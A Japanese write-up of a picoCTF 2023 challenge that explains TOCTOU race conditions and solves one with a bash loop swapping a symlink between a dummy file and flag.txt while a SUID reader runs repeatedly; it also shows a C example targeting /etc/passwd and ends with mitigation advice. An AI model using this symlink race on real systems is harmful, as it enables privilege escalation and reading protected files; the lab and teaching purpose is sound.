まえがき
TOCTOU攻撃を題材としたCTFの問題を解いたのでまとめてみました。
TOCTOUとは
TOCTOU攻撃(Time-of-Check and Time-of-Use Attack)は、あるプロセスのリソースに対するチェック(Time of Check)とリソースの利用(Time of Use)との間に発生するレース・コンディション脆弱性を悪用する攻撃です。
この攻撃では、プログラムがリソースにアクセスする時点と利用する時点との間で攻撃者がリソースを改ざんします。プログラムはチェックした時点とは異なるリソースを利用するため、予期せぬ動作等が発生します。
攻撃者はこの攻撃により特権昇格やコード実行、DoS攻撃等を行うことができます。
-- 引用:TOCTOU攻撃とは【用語集詳細】
例
if (access("file", W_OK) != 0) {
exit(1);
}
- symlink("/etc/passwd", "file"); <----このタイミングで攻撃コードを実行する
fd = open("file", O_WRONLY);
write(fd, buffer, sizeof(buffer));
上記のようなファイルの書き込み権限をチェックしてから書き込むプログラムでは、プログラム実行中にfile
を/etc/passwd
にリンクさせることにより、/etc/passwd
に書き込むことができてしまいます。「checkとuseの間」というかなり短いタイミングで攻撃コードを実行させる必要がありますが、意外と簡単に実装することが出来てしまいます。
また、このようなプログラムにおいて、checkとuseの処理を不可分にすることは難しいため、なかなか対策が取りづらい脆弱性であることが知られています。
TOCTOUを試してみる
picoCTF2023にTOCTOUを題材とした問題があったので実際に攻撃を試してみましょう。
問題文は以下の通り。
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.(誰かがテキストファイルを読み込むプログラムを作成しました。このプログラムはroot権限でファイルを読み込むと思われますが、どうやら実行しているユーザーが所有するファイルしか読み込まないようです。)
ssh接続して中身を見てみると、さっそく flag.txt
が見つかりました。
ctf-player@pico-chall$ ls -la
total 32
drwxr-xr-x 1 ctf-player ctf-player 20 Feb 26 02:00 .
drwxr-xr-x 1 root root 24 Aug 4 2023 ..
drwx------ 2 ctf-player ctf-player 34 Feb 26 02:00 .cache
-rw-r--r-- 1 root root 67 Aug 4 2023 .profile
-rw------- 1 root root 32 Aug 4 2023 flag.txt
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 2023 src.cpp
-rwsr-xr-x 1 root root 19016 Aug 4 2023 txtreader
上記結果を見ると、flag.txt
にはread権限がないので中身を見ることはできません。
また、問題文にあるように、txtreader
は誰が実行してもroot権限で実行できてしまうSUIDが設定されており、
./txtreader {file-name}
でファイルの中身を表示してくれるプログラムのようです。
試しに flag.txt
を指定してみましたが、権限がないため閲覧できないといわれてしまいました。
ctf-player@pico-chall$ ./txtreader flag.txt
Error: you don't own this file
src.cpp
がそのソースコードなので、中身を見てみましょう。
ctf-player@pico-chall$ cat src.cpp
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
ファイルの閲覧権限があるかどうかをチェックして、閲覧権限がある場合にのみファイルの中身を読み込むというプログラムになっています。典型的なTOCTOUの脆弱性があります。
攻撃の方針
方針としては、
- ファイルの閲覧権限を確認するときには、自身の所有するダミーファイルを参照させる
- ファイルを読み込む処理までの間に、
flag.txt
を参照するようにシンボリックリンクを作成する -
flag.txt
を読み込ませる
となります。閲覧権限の確認からファイルの読み取りまでの短い時間にシンボリックリンクの作成を成功させないといけないため、攻撃が成功してプログラムを停止するまで攻撃し続けるプログラムを作成します。
エクスプロイトコードの作成
link
というファイルへのシンボリックリンクをdummy
とflag.txt
の間で高速に切り替えるコードを作成します。(ターゲット環境ではvimがないため以下のようにファイルを作成しました)
ctf-player@pico-chall$ echo "#/bin/bash
> touch ./dummy
> while :
> do
> ln -sf ./dummy ./link
> ln -sf ./flag.txt ./link
> done" > exploit.sh
exploit.sh
に閲覧権限を付与し、バックグラウンドで実行しておきます。これでlink
へのシンボリックリンクが閲覧権限のあるdummy
と閲覧権限のないflag.txt
で高速に切り替わり続けます。
ctf-player@pico-chall$ chmod +x exploit.sh
ctf-player@pico-chall$ ./exploit.sh &
[1] 47
Errorメッセージを表示しないようにしつつ、txtreader
を無限に実行させます。
ctf-player@pico-chall$ while true;do ./txtreader link ;done |& grep -v Error
picoCTF{****************}
picoCTF{****************}
picoCTF{****************}
picoCTF{****************}
^C
flag.txt
の中身が閲覧できました。
あとがき
今回体験したように、TOCTOUの脆弱性は簡単に悪用できてしまうため、脆弱性を残さないようにcheckとuseを不可分にするような実装が不可欠です。
例えば、アプリケーション開発における注文処理において、在庫確認と発注を別のトランザクションにしてしまった場合、途中で在庫数が変わったにも関わらず発注できてしまうといったバグが生まれてしまう場合があります。このような場合は、在庫確認と発注を同じトランザクションで行うことによって間に処理が入ることを防ぐ必要があります。
また、ミドルウェアでは不可分操作を実現するための機能が用意されているため、正しく利用して実装することが求められます。
今回の問題のようなケースでは、別のプロセスが実行されないような制御を行うことは残念ながら難しいため、こういったプログラムがサーバ内にある場合、サーバ侵入後に悪用される可能性が高いといえるため注意が必要です。